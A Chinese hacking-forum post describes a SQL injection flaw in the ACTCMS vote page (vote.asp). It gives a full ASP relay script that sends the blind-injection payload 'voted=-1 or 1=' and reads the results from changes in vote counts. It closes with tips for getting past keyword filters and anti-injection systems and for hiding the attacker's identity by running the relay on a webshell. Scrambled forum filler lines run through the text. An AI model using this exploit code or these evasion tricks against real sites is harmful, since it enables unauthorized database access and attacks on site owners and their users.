找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2019|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

' P! O$ k+ s& C6 `0 m$ s看到ninty大牛的blog的一篇文章8 ^1 W5 b3 o0 u, Q( f
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
3 M1 @$ o: }& ~7 Y9 |7 {+ g关于actcms漏洞的利用  by 3x qq:381862589
! z7 `* T+ I8 {8 p, S5 A转载请注明以上, `: `& _; J5 p2 @# j
漏洞文件:
  q  [) W  ~; r6 G# F9 q/plus/vote/vote.asp, ]* z. u1 Y* V% A
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    $ \% P* j8 z- j* l
. |0 H$ S4 }4 @' j
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   : g1 i9 s4 P1 n% {  D
% ^! x$ m; e0 o2 J( j: G& D& X; r9 t
3    response.end   
$ }" z% y# Q, s" X) ]6 l. z, {
4    end if    0 {2 j) N+ k" E; j- N
0 C% }# d4 m4 A" W% V
5    for i=1 to request("voted").count   
% B8 V/ W4 O5 @; q
4 B; c# P0 c5 F  ^% A; \6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
5 d! `7 U! N) ~- D3 d' i+ x0 e
4 ], i; e! ?1 n4 c' Y7    next    ( b0 E# N5 M$ V  H5 W

8 f+ l% P, G" B  o) B. J9 I/ a' E( E8....   
8 X) y& N0 x! y( N3 _0 D( T. a3 D# s4 f/ w3 f* j* S8 o" r
9response.Redirect "index.asp?id="&id&""   0 t% H  Y% z7 P
投票结束回跳转回index.asp这个投票结果页面
1 ?6 x% ^8 D1 f0 R  K5 q4 c! l如果投票成功票数加1
0 a& \# j& a+ O& t9 a            失败票数不变
1 V9 \. j: v  E. P0 _2 _: W如图:
  _1 K6 E5 q; I$ d( N. N' ?http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
/ p- ~2 P/ W2 W/ j8 F/ W( h
9 a3 w+ M/ P9 P) R2009-12-27 13:20
% F& `1 q  @% G9 `% W1 N
8 a" v) g1 c7 o( A' B' T利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
- \6 c# Y. F: B% S! t5 r9 n4 G! y5 F, c6 h8 @- r2 A
本帖隐藏的内容需要回复才可以浏览
9 C8 u) A0 U% P1 @% B, r7 d$ ~我们用注入中转来实现这个注入具体代码如下:( U- ~. }6 H- z1 ]" Z( ]; O& {
先用寂寞的刺猬大牛的注入中转生成jmget.asp; [4 X4 v7 R5 C$ j( N
注入地址:http://localhost/actcms/plus/vote/vote.asp9 P) D* \/ o" X! J# X+ H, m
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
2 U) H5 h: R9 E1 i( A
2 e( G0 n6 ^- V& _8 S# a/ _2 @然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
- H  \3 V6 G, g8 E7 ^" i! J* f! u7 Y$ a0 c2 A7 N4 u8 x
02JmdcwName=request("jmdcw")
' Q- z, M" v* i# o4 k* P- Y8 K4 m* h7 u) l/ K# D) _+ c
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
" J' f8 j( P3 M
7 u; I1 p0 t* Y8 A& M: d# a9 m04JmStr="id=1&voted=-1 or 1="&JmdcwName 9 g7 j& B* ~5 w+ U0 a# Q
5 _8 `# R) x- e8 R4 j
05JmStr=URLEncoding(JmStr) * U6 f9 v8 L) h8 S9 R
* u! B* k* _4 o9 {# `% U+ e# q
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"8 @, b! \7 r0 t* p, Q6 h. O
0 o* \3 @. O, i( r% T$ t) ?! r  ]
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"4 A  R% e! Q$ M1 g/ y1 z9 `" |
  F+ Y( E, B6 o* ~% x& O
08testurl=testurl & "?" & JmStr
* _6 z2 g! ~( }) q
$ R: Y7 F, H; V09JMUrl=JMUrl & "?" & JmStr - |3 v& I9 S% W: n  |4 h
- ^, K2 I3 l8 A" y0 K: F  \8 c
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
7 I& G0 p8 x# a
4 j: r1 P( }$ M+ I11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 v7 E1 k+ S. s6 z$ e. C1 b7 I* U& E: M' u& s
12JmCok=replace(JmCok,chr(32),"%20")  
" j6 N$ H) q( ^6 |- Q* W) r9 a  \& k
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 $ N7 i1 h( P1 D' F
7 j0 r3 D# x# H  [- S
14  
) W/ m9 C3 b! \, y- [. I  y) @6 G" J1 [: K3 {0 f
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 1 _- ~# `6 {' j( X) |

( P# c) p! c$ g  F* v! j16  
1 ]- R5 K' S; O0 a$ |3 e$ Q7 W- t" j
) A, Y% m4 T  Y% d* Z, Z  z5 M, Q17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 . h9 k% [9 M2 a) g) A* Y* L' f
; Q& ?* w- m( s5 h
18response.write test1&""&test2&"". N# O+ f9 V6 g* n! `3 X$ U
8 l+ H* q( F7 u+ \( m
19  
8 ?3 a! X, Z! y: Z- [& L! ~2 h2 V
; G, d6 I  j- a; B20if test1=test2 then '如前后记录相等,表示失败
" }* o; F2 P, M5 O: V3 h1 D- x- H" G! d& X7 g- ?3 X+ B' t  ?
21  response.write "failed"
- B8 a0 n1 V1 x5 j  o6 y. ?5 I
: `: r  ]4 u5 w, \; I0 t22else
% O, E1 \: p0 d6 I& ~: O1 }" j" z/ S
23  response.write "succeed"; v6 w) ?: |) S' c

1 o* K$ l8 ~  f2 @% c/ M3 R24end if  
8 _7 x( R- E$ s$ P
  k' a5 T* y( P  e% K25  ' S; Q- S2 ~6 y0 u. n$ o
5 J6 `1 C' F, B7 a( M( y
26response.write "by 3x", S- ^) p7 f/ u1 t

" \; p( l6 E- u27  
: Y8 l% Z0 m5 K* H$ ]$ r& V6 f9 p+ @  F5 u5 Y" Z6 |
28    h0 n! A) I* s, g0 n

( T, a" m1 |- F. s* N4 W29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
" _6 O* `, K  f8 m6 n/ V; K, V* d+ C( T, V' f* m# @) k: @
30Dim Http
' U: ~' Z1 q; B% P2 T1 o* V+ G& c9 C' z- X5 g9 }0 _
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") ) t, j. g9 e) Y

. V) d# f& s0 L" U% x5 X3 G32With Http
; ]1 J# Z1 Q0 O8 _: U& u8 T) R9 u3 n$ U  b
33  
, u8 s2 R# p- d9 g7 _& C% i( ?4 P
  ]8 p% [+ W# A  F* u: B' ~34.Open "GET",PostUrl,False( D7 z# `. X6 g$ P

' q- R, M! O1 R% W+ P! X2 b35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"* _. n0 \5 \( R  M" w
9 {- s! z7 p3 o. M
36.SetRequestHeader "Referer",PostRef
: H% {* x' R& q) T/ e( W9 Y/ Y( \) t. _/ z
37.SetRequestHeader "Cookie",PostCok & ?) H+ `# C( w& K3 a! [4 y

/ E: H# {$ ]% N7 e  b38.Send () 9 ~2 t$ w" `8 o+ S
6 S( t: c2 J7 i. ]6 m( ]
39PostData = .ResponseBody 4 o/ c) J; f; o1 x
( x/ a, p1 b! Q. c# |* B
40End With
# _8 K; D4 T- |+ H) T2 G& z" C* h- o& S1 \
41Set Http = Nothing, w0 `9 Q5 s' g7 U; x0 h
+ U$ x) I: _0 Q9 p
42PostData =bytes2BSTR(PostData) 1 {! b1 N. M- V) C; h7 ?, @: N7 l
/ V# P8 u* s. h2 I0 F
43End Function
4 X' ]5 i9 P: @6 m, S+ h6 {$ g+ F4 Q' l
44  
" [- b' K4 J; O9 u- D! G
+ l) r$ j' D: x) S  M$ K45  4 f* j- a* w, {0 |' U

& O8 W6 ^( F0 M; s% p46Function bytes2BSTR(vIn)
. W( x0 O% I, d) v; h* O6 G6 L% m( P2 p
47Dim strReturn
, S8 J/ u: X0 N$ q/ \8 T1 |) a, r* m- T3 X- h+ |: j8 ]' T
48Dim I, ThisCharCode, NextCharCode
7 o: L* T! c  d4 n2 h5 U
' Q7 P4 _% j+ [& L, J; ^+ n49strReturn = ""
! l: e1 o) q4 F4 p( S" s& w0 @. o1 C4 z2 j9 c5 Z" |* X$ c
50For I = 1 To LenB(vIn) ) Y* E) E  j7 ]

: d- m0 h# p$ C. T# d! y0 t51ThisCharCode = AscB(MidB(vIn, I, 1)) 4 i" @$ m2 l- O

8 [# T  f$ D% l+ {52If ThisCharCode < &H80 Then
8 n# l  M1 h. @) e7 g% p: L" `7 Q# g$ [5 D- |  j
53strReturn = strReturn & Chr(ThisCharCode)
6 u5 w/ F5 d7 N1 h, c6 l; v
& v4 Q/ Y0 S2 p- o0 w54Else1 h" O1 E3 B# Y; G" j/ D0 Z
! E2 B- N3 X( V) P8 N4 X' T2 z
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
& K! O) e/ @9 V/ G+ P* o4 R% h8 b$ P1 ^5 f1 n$ C
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ! I% h; P& U* E8 Z
, h( d0 C+ q6 q. z
57I = I + 1 & s, D9 e4 U$ Q' J( [! g

2 X% R* P5 x$ Q/ d  D+ |$ c58End If
0 m2 `! H$ ?4 v) q. H
4 B! x$ P3 u& V% Z+ S3 {59Next. K% y$ J9 G# o+ B" c

% l- z# M6 ]/ g$ I2 u  m; V% V% A60bytes2BSTR = strReturn
  e2 p4 [( G& P" ]5 v/ g$ U( |. I4 l
61End Function# P% f' w: x3 N/ W+ |
, y* E) q' C8 v' k1 w" {, d8 L
62  
/ F( d- j' i9 k
; w* j9 Z  T2 B; q63Function URLEncoding(vstrin)  
: X* z; F- a/ ^' W1 t8 _
5 X+ x/ ^" k& {64strReturn="". R) |5 q$ @; Q; C

; B3 j, a" f4 n& O) s65Dim i - k8 Q! F+ |7 Y! V# q
3 _) W% f. N9 a+ `9 R0 T3 B) V
66For i=1 To Len(vstrin) - s+ k1 V( s5 a

- `4 ~% I. H4 D67ThisChr=Mid(vstrin,i,1) - V  C( f+ L' ^+ A- f

$ a# G$ [3 D1 A$ C1 F68if Abs(Asc(ThisChr))< &HFF Then
; y6 [6 E, M' _% K4 x3 ^; C# x% |$ `0 m
69strReturn=strReturn & ThisChr
2 p# r2 o  C% x9 G8 z# \) m3 \* v: {8 s! `( s* N0 ?
70Else
1 s9 F: u+ z9 z/ U5 i/ C" t& X2 ?0 U) s( ^1 R
71InnerCode=Asc(ThisChr)
: ?$ h; W5 @" j/ p8 h3 m+ r1 V7 A% B$ G0 ~9 u
72If InnerCode<0 Then4 ~# Q6 a! ~: @( U0 L

) |' d6 f' T7 Y0 j; ~0 k: y73InnerCode=InnerCode + &H10000
' u" q# K/ x' P3 n
6 j. \3 Y" h7 i3 d74End If6 p  D8 P1 J0 j. q! F
, J& x) s( G0 t% f! r6 Z
75Hight1=(InnerCode And &HFF00) \&HFF
/ W- U: x0 e$ v$ [
. C, p% h5 L, z76Low1=InnerCode And &HFF
2 N/ x4 V& c: d% ?( n! R. x7 b
8 v" |6 }- M9 Y% E77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ( V+ ?) c- S* q# X& d
9 K( G/ e6 g5 Z
78End if
& j+ B/ U1 f# `8 T& Q
2 I7 `' i7 O. y; w/ V5 }$ a% Z/ ~79Next
( q( E& u0 @  |3 r8 g
6 U  @; u: w: d, k9 S9 t80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 0 Q) |7 c  E% N' N
2 t+ F0 y9 {, h4 u0 B. A8 U
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 ) U* x3 u+ n- q; u: s  }

% a( c; n3 Y& a% c+ a/ G82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 2 Y: B, [; q6 N! E' e  i. f0 X
/ T; ?' w2 u7 V1 T6 _6 l
83URLEncoding=strReturn " ?. `, j2 s$ }; i  C' C: q
& g! e( F% \( l) e* J/ S
84End Function
& A9 W! h. N" G* Z/ k9 |% Q' L! W. q4 ?2 c6 L$ F% }' E  x
85  
: N8 s# A" G3 Q& Y4 T* ?* Q7 ?" ^; f. q. s# C
86function getSt(body)
+ z: x5 J2 ?3 V' w" I/ @" P. f( S' B/ c" d6 y
87  startpot=instr(body,"投票人数:")+len("投票人数:") 0 y: X) [0 _8 M: s: m6 y$ \- Y

# ~1 T0 v! w; n2 T/ X$ W0 f88  endpot=instr(startpot,body," ")
9 I7 L# w$ m* N' v. \& @. Q7 Q5 b$ v1 R7 o  s5 S7 [
89  getSt=mid(body,startpot,endpot-startpot)
; P# s# a5 l% b3 `% P+ d# t3 Q! b; q& K0 n
90end function 4 A; Q& ]" D; f/ c1 E( c4 O

! S. O. @& o0 R91%>( ~! U% L8 [- }( C1 N6 ?" m
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了* V* h! v5 e! H/ c
测试下效果:# ]! I3 V/ {6 ~4 @6 ]
投票成功:6 i2 s0 G9 h% s- u2 x
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
+ A. k7 F9 C( I/ f( ^( a$ q* u% K; a
2009-12-27 13:29* r" l. J3 k# \0 M  Z5 n, c
投票失败2 F1 b( i) U7 |. h4 j
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)$ j" I. k) T: [8 r

" j9 B6 P4 ~+ p8 u! P* F7 J6 w2009-12-27 13:291 \- s' ]5 o3 F) d
-------------------------------------------------------------------------------
! @2 n( _$ h1 R% e3 U  v- B, s! [再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以1 q% O. o  j7 x$ T
很抱歉。。。只能用单线程工具去注入。。。。。  i+ m# C  \7 C- g
所以失败。。。不好意思。。。! W& H1 ~% W9 @7 i& F& R
-------------------------------------------------------------------------------
6 Q5 n/ ?5 b; p$ `8 K
! _4 n5 R( Z& a3 M注入中转的一些其他应用
" `$ x% {0 y) \2 ^9 B其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
$ I2 A& e! r, Y* \2 w1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
0 ~" H6 [8 D9 j$ v. w) g' u/ Z2.post注入转成get型的注入,方便我们使用工具来跑
! q  D" S/ S3 u! ]3 u  w0 ~/ e& h3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
3 p" u' |5 A7 X0 `9 B4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
: J1 T( N3 O% l6 Y0 K: O# F1 `$ Y; M
$ `3 G2 [0 \1 r9 O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表